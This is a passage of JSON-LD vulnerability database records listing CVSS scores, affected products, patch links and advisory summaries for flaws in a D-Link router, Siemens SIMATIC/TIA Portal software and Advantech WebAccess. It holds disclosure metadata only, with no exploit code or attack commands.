"ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "severity": "HIGH", "exploitabilityScore": 4.1, "impactScore": 10.0, "id": "CNVD-2024-33402", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [ { "exploitabilityScore": 0.9, "impactScore": 5.9, "version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 6.8, "baseSeverity": "MEDIUM", "author": "zdi-disclosures@trendmicro.com", "trust": 1.0 }, { "id": "CVE-2023-34278", "author": "ZDI", "version": "3.0", "vectorString": "AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "attackVector": "ADJACENT", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 6.8, "baseSeverity": "MEDIUM", "exploitabilityScore": 0.9, "impactScore": 5.9, "trust": 0.7 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2023-34278" }, { "db": "ZDI", "id": "ZDI-23-626" }, { "db": "CNVD", "id": "CNVD-2024-33402" } ], "data": "D-Link DIR-2150 SetSysEmailSettings EmailFrom Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-2150 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. \n\nThe specific flaw exists within the SOAP API interface, which listens on TCP port 80 by default. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-20556. D-Link DIR-2150 is a wireless router from D-Link, a Chinese company", "trust": 2.07, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "ZDI", "id": "ZDI-23-626" }, { "db": "CNVD", "id": "CNVD-2024-33402" }, { "db": "NVD", "id": "CVE-2023-34278" } ], "data": [ { "db": "NVD", "id": "CVE-2023-34278", "trust": 2.3 }, { "db": "ZDI", "id": "ZDI-23-626", "trust": 1.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-20556", "trust": 0.7 }, { "db": "CNVD", "id": "CNVD-2024-33402", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-33402" } ], "data": true, "trust": 0.06, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-33402" } ], "data": [ { "category": [ "Network device" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "ZDI", "id": "ZDI-23-626" }, { "db": "CNVD", "id": "CNVD-2024-33402" } ], "data": [ { "title": "Fixed in Firmware v1.06", "url": "https://support.dlink.com.au/download/download.aspx?product=dir-2150", "trust": 0.7 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/571211", "title": "Patch for D-Link DIR-2150 has a remote code execution vulnerability (CNVD-2024-33402)", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "ZDI", "id": "ZDI-23-626" }, { "db": "CNVD", "id": "CNVD-2024-33402" }, { "db": "NVD", "id": "CVE-2023-34278" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "NVD", "id": "CVE-2023-34278" } ], "data": [ { "trust": 1.0, "problemtype": "CWE-78" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "ZDI", "id": "ZDI-23-626" }, { "db": "CNVD", "id": "CNVD-2024-33402" }, { "db": "NVD", "id": "CVE-2023-34278" } ], "data": [ { "url": "https://www.zerodayinitiative.com/advisories/zdi-23-626/", "trust": 1.0 }, { "url": "https://support.dlink.com.au/download/download.aspx?product=dir-2150", "trust": 0.7 }, { "url": "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2023-34278", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "ZDI", "id": "ZDI-23-626", "date": "2023-06-02T00:00:00" }, { "db": "CNVD", "id": "CNVD-2024-33402", "date": "2024-07-22T00:00:00" }, { "db": "NVD", "id": "CVE-2023-34278", "date": "2024-05-03T12:50:34.250000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "ZDI", "id": "ZDI-23-626", "date": "2023-05-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2024-33402", "date": "2024-07-17T00:00:00" }, { "db": "NVD", "id": "CVE-2023-34278", "date": "2024-05-03T02:15:26.977000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "ZDI", "id": "ZDI-23-626" } ], "data": "D-Link DIR-2150 SetSysEmailSettings EmailFrom Command Injection Remote Code Execution Vulnerability", "trust": 0.7, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2023-34278", "last_update_date": "2024-07-23T22:38:26.576000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202305-1520", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202407-0490](https://vulnerability.circl.lu/vuln/var-202407-0490) ```json { "id": "VAR-202407-0490", "affected_products": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-32683" } ], "data": [ { "vendor": "siemens", "model": "simatic pcs neo", "version": "v4.0", "scope": "eq", "trust": 0.6 }, { "vendor": "siemens", "model": "totally integrated automation portal", "version": null, "scope": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-32683" }, { "db": "NVD", "id": "CVE-2022-45147" } ], "data": [ { "severity": [ { "value": "HIGH", "author": "productcert@siemens.com", "id": "CVE-2022-45147", "trust": 1.0 }, { "value": "HIGH", "author": "CNVD", "id": "CNVD-2024-32683", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "severity": "HIGH", "exploitabilityScore": 3.9, "impactScore": 10.0, "id": "CNVD-2024-32683", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [ { "exploitabilityScore": 1.8, "impactScore": 5.9, "version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "author": "productcert@siemens.com", "trust": 1.0 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2022-45147" }, { "db": "CNVD", "id": "CNVD-2024-32683" } ], "data": "A vulnerability has been identified in SIMATIC PCS neo V4.0 (All versions), SIMATIC STEP 7 V16 (All versions), SIMATIC STEP 7 V17 (All versions), SIMATIC STEP 7 V18 (All versions < V18 Update 2). Affected applications do not properly restrict the .NET BinaryFormatter when deserializing user-controllable input. This could allow an attacker to cause a type confusion and execute arbitrary code within the affected application. \r\n\r\nThis is the same issue that exists for .NET BinaryFormatter https://docs.microsoft.com/en-us/visualstudio/code-quality/ca2300. SIMATIC PCS neo is a distributed control system (DCS). SIMATIC STEP 7 (TIA Portal) is an engineering software for configuring and programming SIMATIC controllers. Totally Integrated Automation Portal (TIA Portal) is a PC software that provides the full range of Siemens digital automation services, from digital planning, integrated engineering to transparent operation", "trust": 1.44, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-32683" }, { "db": "NVD", "id": "CVE-2022-45147" } ], "data": [ { "db": "SIEMENS", "id": "SSA-825651", "trust": 1.6 }, { "db": "NVD", "id": "CVE-2022-45147", "trust": 1.6 }, { "db": "CNVD", "id": "CNVD-2024-32683", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-32683" } ], "data": true, "trust": 1.2076923, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-32683" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-32683" } ], "data": [ { "url": "https://www.cnvd.org.cn/patchinfo/show/569066", "title": "Patch for Siemens SIMATIC STEP 7 (TIA Portal) Deserialization Vulnerability", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "CNVD", "id": "CNVD-2024-32683" }, { "db": "NVD", "id": "CVE-2022-45147" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "NVD", "id": "CVE-2022-45147" } ], "data": [ { "trust": 1.0, "problemtype": "CWE-502" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-32683" }, { "db": "NVD", "id": "CVE-2022-45147" } ], "data": [ { "url": "https://cert-portal.siemens.com/productcert/html/ssa-825651.html", "trust": 1.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-32683", "date": "2024-07-16T00:00:00" }, { "db": "NVD", "id": "CVE-2022-45147", "date": "2024-07-09T18:19:14.047000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-32683", "date": "2024-07-19T00:00:00" }, { "db": "NVD", "id": "CVE-2022-45147", "date": "2024-07-09T12:15:08.830000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-32683" } ], "data": "Siemens SIMATIC STEP 7 (TIA Portal) Deserialization Vulnerability", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2022-45147", "last_update_date": "2024-07-23T22:38:24.768000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202407-0490", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-201810-0396](https://vulnerability.circl.lu/vuln/var-201810-0396) ```json { "id": "VAR-201810-0396", "affected_products": { "sources": [ { "db": "IVD", "id": "e2feefe1-39ab-11e9-8e28-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-18-1311" }, { "db": "ZDI", "id": "ZDI-18-1312" }, { "db": "ZDI", "id": "ZDI-18-1308" }, { "db": "ZDI", "id": "ZDI-18-1310" }, { "db": "ZDI", "id": "ZDI-18-1314" }, { "db": "ZDI", "id": "ZDI-18-1307" }, { "db": "ZDI", "id": "ZDI-18-1300" }, { "db": "ZDI", "id": "ZDI-18-1302" }, { "db": "ZDI", "id": "ZDI-18-1298" }, { "db": "ZDI", "id": "ZDI-18-1313" }, { "db": "ZDI", "id": "ZDI-18-1304" }, { "db": "ZDI", "id": "ZDI-18-1309" }, { "db": "ZDI", "id": "ZDI-18-1306" }, { "db": "CNVD", "id": "CNVD-2018-21935" }, { "db": "BID", "id": "105728" }, { "db": "CNNVD", "id": "CNNVD-201810-1188" }, { "db": "NVD", "id": "CVE-2018-14816" } ], "data": [ { "vendor": "advantech", "model": "webaccess node", "version": null, "scope": null, "trust": 9.1 }, { "vendor": "advantech", "model": "webaccess", "version": "8.3.1", "scope": "lte", "trust": 1.0 }, { "vendor": "advantech", "model": "webaccess", "version": "8.3.1", "scope": "eq", "trust": 0.9 }, { "vendor": "advantech", "model": "webaccess", "version": "<=8.3.1", "scope": "lte", "trust": 0.6 }, { "vendor": "advantech", "model": "webaccess", "version": "8.3", "scope": "eq", "trust": 0.3 }, { "vendor": "advantech", "model": "webaccess", "version": "8.2", "scope": "eq", "trust": 0.3 }, { "vendor": "advantech", "model": "webaccess", "version": "8.1", "scope": "eq", "trust": 0.3 }, { "vendor": "advantech", "model": "webaccess", "version": "8", "scope": "eq", "trust": 0.3 }, { "vendor": "advantech", "model": "webaccess", "version": "8.3.3", "scope": "ne", "trust": 0.3 }, { "vendor": "webaccess", "model": null, "version": "*", "scope": "eq", "trust": 0.2 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "configurations": { "sources": [ { "db": "NVD", "id": "CVE-2018-14816" } ], "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:advantech:webaccess:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.3.1", "cpe_name": [] } ] } ] } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "data": { "@container": "@list" }, "nodes": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "children": { "@container": "@list" } } }, "credits": { "sources": [ { "db": "ZDI", "id": "ZDI-18-1311" }, { "db": "ZDI", "id": "ZDI-18-1312" }, { "db": "ZDI", "id": "ZDI-18-1308" }, { "db": "ZDI", "id": "ZDI-18-1310" }, { "db": "ZDI", "id": "ZDI-18-1314" }, { "db": "ZDI", "id": "ZDI-18-1307" }, { "db": "ZDI", "id": "ZDI-18-1300" }, { "db": "ZDI", "id": "ZDI-18-1302" }, { "db": "ZDI", "id": "ZDI-18-1298" }, { "db": "ZDI", "id": "ZDI-18-1313" }, { "db": "ZDI", "id": "ZDI-18-1304" }, { "db": "ZDI", "id": "ZDI-18-1309" }, { "db": "ZDI", "id": "ZDI-18-1306" }, { "db": "BID", "id": "105728" } ], "data": "Mat Powell of Trend Micro Zero Day Initiative", "trust": 9.4, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "IVD", "id": "e2feefe1-39ab-11e9-8e28-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-18-1311" }, { "db": "ZDI", "id": "ZDI-18-1312" }, { "db": "ZDI", "id": "ZDI-18-1308" }, { "db": "ZDI", "id": "ZDI-18-1310" }, { "db": "ZDI", "id": "ZDI-18-1314" }, { "db": "ZDI", "id": "ZDI-18-1307" }, { "db": "ZDI", "id": "ZDI-18-1300" }, { "db": "ZDI", "id": "ZDI-18-1302" }, { "db": "ZDI", "id": "ZDI-18-1298" }, { "db": "ZDI", "id": "ZDI-18-1313" }, { "db": "ZDI", "id": "ZDI-18-1304" }, { "db": "ZDI", "id": "ZDI-18-1309" }, { "db": "ZDI", "id": "ZDI-18-1306" }, { "db": "CNVD", "id": "CNVD-2018-21935" }, { "db": "CNNVD", "id": "CNNVD-201810-1188" }, { "db": "NVD", "id": "CVE-2018-14816" } ], "data": [ { "severity": [ { "id": "CVE-2018-14816", "value": "HIGH", "author": "ZDI", "trust": 9.1 }, { "value": "CRITICAL", "author": "NVD", "id": "CVE-2018-14816", "trust": 1.0 }, { "value": "HIGH", "author": "CNVD", "id": "CNVD-2018-21935", "trust": 0.6 }, { "id": "CNNVD-201810-1188", "value": "CRITICAL", "author": "CNNVD", "trust": 0.6 }, { "id": "e2feefe1-39ab-11e9-8e28-000c29342cb1", "value": "CRITICAL", "author": "IVD", "trust": 0.2 } ], "cvssV2": [ { "id": "CVE-2018-14816", "author": "ZDI", "version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.3, "severity": "HIGH", "exploitabilityScore": 8.6, "impactScore": 10.0, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 9.1 }, { "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false, "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "author": "NVD", "severity": "HIGH", "trust": 1.0 }, { "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "id": "CNVD-2018-21935", "author": "CNVD", "trust": 0.6 }, { "version": "2.9 [IVD]", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "id": "e2feefe1-39ab-11e9-8e28-000c29342cb1", "author": "IVD", "trust": 0.2 } ], "cvssV3": [ { "exploitabilityScore": 3.9, "impactScore": 5.9, "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "author": "NVD", "trust": 1.0 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2018-14816" }, { "db": "ZDI", "id": "ZDI-18-1311" }, { "db": "ZDI", "id": "ZDI-18-1306" }, { "db": "ZDI", "id": "ZDI-18-1309" }, { "db": "ZDI", "id": "ZDI-18-1304" }, { "db": "ZDI", "id": "ZDI-18-1313" }, { "db": "ZDI", "id": "ZDI-18-1298" }, { "db": "ZDI", "id": "ZDI-18-1302" }, { "db": "ZDI", "id": "ZDI-18-1300" }, { "db": "ZDI", "id": "ZDI-18-1307" }, { "db": "ZDI", "id": "ZDI-18-1314" }, { "db": "ZDI", "id": "ZDI-18-1310" }, { "db": "ZDI", "id": "ZDI-18-1308" }, { "db": "ZDI", "id": "ZDI-18-1312" }, { "db": "CNVD", "id": "CNVD-2018-21935" }, { "db": "BID", "id": "105728" }, { "db": "IVD", "id": "e2feefe1-39ab-11e9-8e28-000c29342cb1" } ], "data": "Advantech WebAccess 8.3.1 and earlier has several stack-based buffer overflow vulnerabilities that have been identified, which may allow an attacker to execute arbitrary code. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwclient.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech (Advantech) WebAccess software is the core of Advantech's IoT application platform solution, providing users with a user interface based on HTML5 technology to achieve cross-platform and cross-browser data access experience. A stack buffer overflow vulnerability exists in Advantech WebAccess. Advantech WebAccess is prone to the following security vulnerabilities:\n1. A directory-traversal vulnerability\n3. An arbitrary-file-deletion vulnerability\n4. This may aid in further attacks. \nAdvantech WebAccess 8.3.1 and prior versions are vulnerable", "trust": 10.08, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "IVD", "id": "e2feefe1-39ab-11e9-8e28-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-18-1311" }, { "db": "ZDI", "id": "ZDI-18-1312" }, { "db": "ZDI", "id": "ZDI-18-1308" }, { "db": "ZDI", "id": "ZDI-18-1310" }, { "db": "ZDI", "id": "ZDI-18-1314" }, { "db": "ZDI", "id": "ZDI-18-1307" }, { "db": "ZDI", "id": "ZDI-18-1300" }, { "db": "ZDI", "id": "ZDI-18-1302" }, { "db": "ZDI", "id": "ZDI-18-1298" }, { "db": "ZDI", "id": "ZDI-18-1313" }, { "db": "ZDI", "id": "ZDI-18-1304" }, { "db": "ZDI", "id": "ZDI-18-1309" }, { "db": "ZDI", "id": "ZDI-18-1306" }, { "db": "CNVD", "id": "CNVD-2018-21935" }, { "db": "BID", "id": "105728" }, { "db": "CNNVD", "id": "CNNVD-201810-1188" }, { "db": "NVD", "id": "CVE-2018-14816" } ], "data": [ { "db": "NVD", "id": "CVE-2018-14816", "trust": 11.8 }, { "db": "ICS CERT", "id": "ICSA-18-296-01", "trust": 2.5 }, { "db": "BID", "id": "105728", "trust": 2.5 }, { "db": "SECTRACK", "id": "1041939", "trust": 1.6 }, { "db": "CNVD", "id": "CNVD-2018-21935", "trust": 0.8 }, { "db": "CNNVD", "id": "CNNVD-201810-1188", "trust": 0.8 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6299", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1311", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6300", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1312", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6296", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1308", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6298", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1310", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6302", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1314", "trust": 0.7 